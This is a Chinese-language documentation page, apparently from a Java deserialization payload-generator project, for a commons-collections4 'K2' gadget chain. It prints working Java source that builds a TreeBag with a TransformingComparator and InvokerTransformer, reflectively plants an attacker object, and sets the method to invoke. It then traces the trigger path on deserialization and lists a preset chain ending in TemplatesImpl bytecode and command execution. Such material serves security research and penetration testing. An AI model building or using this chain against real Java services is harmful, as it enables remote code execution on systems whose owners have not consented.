Skip to content

Latest commit

 

History

History
75 lines (64 loc) · 4.8 KB

File metadata and controls

75 lines (64 loc) · 4.8 KB

CC4.0 InvokerTransformer 链(CommonsCollectionsK2)

  • 类别:javanative 别名:K2 优先级:10
  • 作者:—
  • 依赖org.apache.commons:commons-collections4:4.0

作用

K1 在 commons-collections4 上的等价实现:用 TreeBag + TransformingComparator + InvokerTransformer,在 Java 原生反序列化时对任意可序列化内层对象调用其任意 public 无参方法。CC4 的包名与序列化结构与 CC3 不同,故单列此 gadget。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口。
  • 衔接 nextTagsTemplatesImplChainSignedObjectChainMapMessageChainRMIConnectorChainSpecialPublicMethod —— 之后接决定「触发哪个 public 方法」的下游 gadget,方法名经上下文注入。
  • excludesC3p0JndiChain —— 与 C3P0 JNDI 下游互斥。

源码剖析

public TreeBag getObject(Object obj) throws Exception {
    InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    TransformingComparator comp = new TransformingComparator((Transformer)transformer);
    TreeBag tree = new TreeBag((Comparator)comp);
    tree.add((Object)"foo");
    CommonsCollectionsK2.replaceTreeBagElement(tree, obj);
    Reflections.setFieldValue(transformer, "iMethodName", this.iMethodName);
    return tree;
}

逐段解释:

  1. new InvokerTransformer("toString", ...) —— 同 K1,先用 toString 占位,防止构造期误触发。
  2. new TransformingComparator(transformer) —— CC4 的 TransformingComparator.compare(a,b) 会先对元素调用 transformer.transform(...) 再比较,是本链的触发点。
  3. new TreeBag(comp) + tree.add("foo") —— 用一个无害字符串占位,先让 TreeBag 底层 TreeMap 建立一个根节点。不能一开始就放入真实 obj,否则 add 阶段就会调用 compare 触发反射。
  4. replaceTreeBagElement(tree, obj) —— 见下方,反射把根节点的 key 换成真正的攻击对象。
  5. 最后反射改写 iMethodName 为真实方法名。
private static void replaceTreeBagElement(TreeBag tree, Object obj) throws Exception {
    Object map = Reflections.getFieldValue(tree, "map");       // TreeBag 内部的 TreeMap
    Field rootField = Reflections.getField(map.getClass(), "root");
    if (rootField == null) return;
    Object root = rootField.get(map);                          // TreeMap 的根 Entry
    if (root == null) return;
    Reflections.setFieldValue(root, "key", obj);               // 把根节点 key 换成攻击对象
    Reflections.setFieldValue(tree, "uniqueSet", null);        // 清空缓存视图,避免序列化异常
}
  • 通过反射深入 TreeBag → TreeMap → root(Entry),把 root.key 从占位的 "foo" 替换为内层对象 obj;这样反序列化重建 TreeMap 时,比较器会拿 objcompare
  • tree.uniqueSet = nullTreeBaguniqueSet 是延迟视图,替换底层 key 后清空以免序列化/反序列化不一致。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);
    context.put(ContextTag.CC_VERSION, ContextTag.CC_VERSION_4);
    this.iMethodName = context.getString(ContextTag.SPECIAL_METHOD_NAME_KEY);
    return this.getObject(object);
}
  • 声明 CC_VERSION_4,先构造内层对象,再从 SPECIAL_METHOD_NAME_KEY 取要调用的方法名。语义与 K1 完全一致,仅底层容器换成 CC4 的 TreeBag

触发链(反序列化时): TreeBag.readObjectdoReadObject(按比较器重建 TreeMap)→ TransformingComparator.compareInvokerTransformer.transform(obj)Method.invoke(obj, iMethodName)(无参)。

参数(@Param)

本类无 @ParamiMethodName 由上下文 SPECIAL_METHOD_NAME_KEY 注入;iParamTypes / iArgs 为空。

适用版本与原理要点

  • 适用 commons-collections4:4.0(4.1 起 TransformingComparator/InvokerTransformer 加了 Serializable 及校验,需评估)。
  • 与 K1 的差异仅在容器:CC4 无 LazyMap 版本的 readObject 触发点,改用 TreeBag 的比较器路径。
  • 依旧只能调用无参 public 方法;带参链式转换请用 CommonsCollectionsK4

所属预设链

  • K2链[CommonsCollectionsK2, TemplatesImpl, BytecodeConvert, Exec]

关联